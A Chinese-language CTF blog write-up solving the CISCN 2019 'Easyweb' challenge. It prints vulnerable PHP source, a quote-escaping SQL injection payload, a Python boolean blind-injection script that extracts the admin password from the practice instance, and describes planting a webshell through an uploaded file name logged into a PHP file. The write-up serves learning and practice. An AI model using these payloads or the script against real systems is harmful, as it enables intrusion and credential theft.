[CTF]WriteUp第25篇

[CISCN2019 总决赛 Day2 Web1]Easyweb

思路

buuctf这边给了源码但好像题目原本并没直接提供
按原题来吧

首页要登陆,简单试试弱口令和万能密码并不行
扫描到robots.php发现这个:

User-agent: * 
Disallow: /static/secretkey.txt

可别的WP说是这个:

User-agent: *
Disallow: *.php.bak

源码也确实给了这个,难道buuctf的题错了?不懂
总之,根据这个尝试index.php.bak无果
f12看看源码,这里发现图片是访问image.php来获取图片的

<img src="image.php?id=3" width="200" height="200">

试试image.php.bak发现image.php源码

<?php
include "config.php";

$id=isset($_GET["id"])?$_GET["id"]:"1";
$path=isset($_GET["path"])?$_GET["path"]:"";

$id=addslashes($id);
$path=addslashes($path);

$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
$path=str_replace(array("\\0","%00","\\'","'"),"",$path);

$result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'");
$row=mysqli_fetch_array($result,MYSQLI_ASSOC);

$path="./" . $row["path"];
header("Content-Type: image/jpeg");
readfile($path);

解题

这里是两个位置的注入,可以构造绕过
先讲一下函数的功能:

$id=isset($_GET["id"])?$_GET["id"]:"1";
# 这里这个函数是加斜杠,换句话说就是输出原始字符

# \0 (看上去是0) -> \\0(看上去是\0)
$id=addslashes($id);

# 将\\0(看上去是\0)删去 -> \
$id=str_replace(array("\\0","%00","\\'","'"),"",$id);

这样就得到了\,可以转义掉'

select * from images where id='{$id}' or path='{$path}'
select * from images where id='\' or path='{$path}'
select * from images where id='\' or path='union select 1, 0x696d6167652e706870-- -'

id = \0
path = union select 1, 0x696d6167652e706870-- -

0x696d6167652e706870转为字符串即为image.php
这里不知道为什么,只有-- -才行,#不行

可以用下载器下载这个url

http://5f292944-6ea3-4bc4-9e1b-9f970d0feeb1.node5.buuoj.cn:81/image.php?id=\0&path=union select 1,0x696d6167652e706870-- -

得到image.php源码
但是无法得到config.php
那就考验基本功了

先看看user.php

<?php
include "config.php";
include "function.php";

$username="";

if (!is_login() && !isset($_POST["username"]) && !isset($_POST["password"]))
{
    header('Location: index.php');
    die;
}

if ($username==="")
{
    $stmt=$con->prepare("select * from users where username=?");
    $stmt->bind_param("s",$_POST["username"]);
    $stmt->execute();
    $result=$stmt->get_result();
    $row=$result->fetch_assoc();
    if ($row["password"]===$_POST["password"])
    {
        $username=$_POST["username"];
        setcookie("username",encode($username,$secret));
    }
    else
    {
        header('Location: index.php');
        die;
    }
}

$admin_html=<<<EOF
Hello, admin!
<form action="upload.php" method="post"enctype="multipart/form-data">
<label for="file">Filename:</label>
<input type="file" name="file" id="file" /> 
<br />
<input type="submit" name="submit" value="Submit" />
</form>
EOF;

if ($username!=="admin")
{
    echo "Hello, {$username}, if you are admin, I will give you a surprise.";
}
else
{
    echo $admin_html;
}

看看function.php

<?php
function encode($str,$key)
{
    $tmp="";
    for ($i=0;$i<strlen($str);$i++)
    {
        $tmp .= chr(ord($str[$i])^ord($key[$i%strlen($key)]));
    }
    return base64_encode($tmp);
}

function decode($str,$key)
{
    $str=base64_decode($str);
    $tmp="";
    for ($i=0;$i<strlen($str);$i++)
    {
        $tmp .= chr(ord($str[$i])^ord($key[$i%strlen($key)]));
    }
    return $tmp;
}

function is_login()
{
    global $username,$secret;
    if (!isset($_COOKIE["username"]))
        return false;
    $username=decode($_COOKIE["username"],$secret);
    return true;
}

再看看upload.php

<?php
include "config.php";
include "function.php";

is_login();

if ($username!=="admin")
{
    echo "You have not permission.<script>setTimeout('location.href=\"index.php\"',3000);</script>";
    die;
}

if (!$_FILES["file"]["name"])
{
    echo "Please chose a file to upload.<script>setTimeout('location.href=\"user.php\"',3000);</script>";
    die;
}

$file_name=$_FILES["file"]["name"];

if (preg_match("/php/i",$file_name))
{
    echo "You cant upload php file.<script>setTimeout('location.href=\"user.php\"',3000);</script>";
    die;
}

file_put_contents("logs/upload.log.php","User {$username} uploaded file {$file_name}.\n",FILE_APPEND);
echo "I logged the file name you uploaded. LOL<script>setTimeout('location.href=\"user.php\"',3000);</script>";

想要利用文件上传,必须先构造admin的usernameCookie值,必须拿到密钥的前5位
或者直接拿到admin的密码

我们用布尔盲注爆破admin密码试试
JFIF的回显说明True,反之为False
时间盲注也行,有时间写写代码

import requests
import string
import time

url = 'http://5f292944-6ea3-4bc4-9e1b-9f970d0feeb1.node5.buuoj.cn:81/image.php?id=\\0&path='
min_num = 32
max_num = 127
success_flag = "JFIF"

def bool_success(url: string, params : dict, success_flag: string, fail_flag: string):
    if not hasattr(bool_success, 'wait_time'):
        bool_success.wait_time = 0.02
    if not hasattr(bool_success, 'success_times'):
        bool_success.success_times = 0
    if not hasattr(bool_success, 'total_times'):
        bool_success.total_times = 0
        
    state_503 = True
    while state_503:
        time.sleep(bool_success.wait_time)
        if bool_success.total_times >= 10 and bool_success.success_times / bool_success.total_times >= 0.5:
            bool_success.wait_time += 0.01
            bool_success.total_times = 0
            bool_success.success_times = 0
        bool_success.total_times += 1
        try:
            response = requests.get(url=url, params=params)
        except Exception:
            continue
        if requests.status_codes != 503:
            state_503 = False
            bool_success.success_times += 1
            # print(url, response.text)
            if success_flag in response.text:
                return True
            else:
                continue
    return False
            

res = ''
None_num = 0
for i in range(1, 500):
    left = min_num - 1
    right = max_num + 1
    mid = (left + right) // 2
    while left + 1 != right:
        column_name = 'password'
        table_name = 'users'
        # TODO: 修改点5
        payload = f' or ascii(substr((select {column_name} from {table_name}),{i},1))>{mid}-- -'
        if bool_success(url+payload,{}, success_flag, fail_flag):
            left = mid
        else:
            right = mid
        mid = (left + right) // 2
    if right == max_num + 1 or left == min_num - 1:
        print('NoneChr!')
        None_num += 1
        if None_num >= 5:
            print('---finished---')
            break
        continue
    res += chr(right)
    print(res)
4
4b
4b9
4b92
4b92f
4b92ff
4b92ff7
4b92ff79
4b92ff79a
4b92ff79ab
4b92ff79ab8
4b92ff79ab83
4b92ff79ab834
4b92ff79ab8344
4b92ff79ab8344b
4b92ff79ab8344bb
4b92ff79ab8344bb9
4b92ff79ab8344bb9a
4b92ff79ab8344bb9a6
4b92ff79ab8344bb9a64
NoneChr!
NoneChr!
NoneChr!
NoneChr!
NoneChr!
---finished---

然后正常登录
登录之后发现可以上传文件,并且会将log记录保存到一个php文件里,准备传个小马

链接木马(这里不知道为什么无法访问了,被迫重开

不知道为什么冰蝎不行
还有记得加上Content-Type: application/x-www-form-urlencoded
差点又害得我浪费时间

注意

  1. 两重注入的特殊绕过方式
  2. bool盲注如果是get,尽量用url而不要用params
  3. Content-Type: application/x-www-form-urlencoded
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇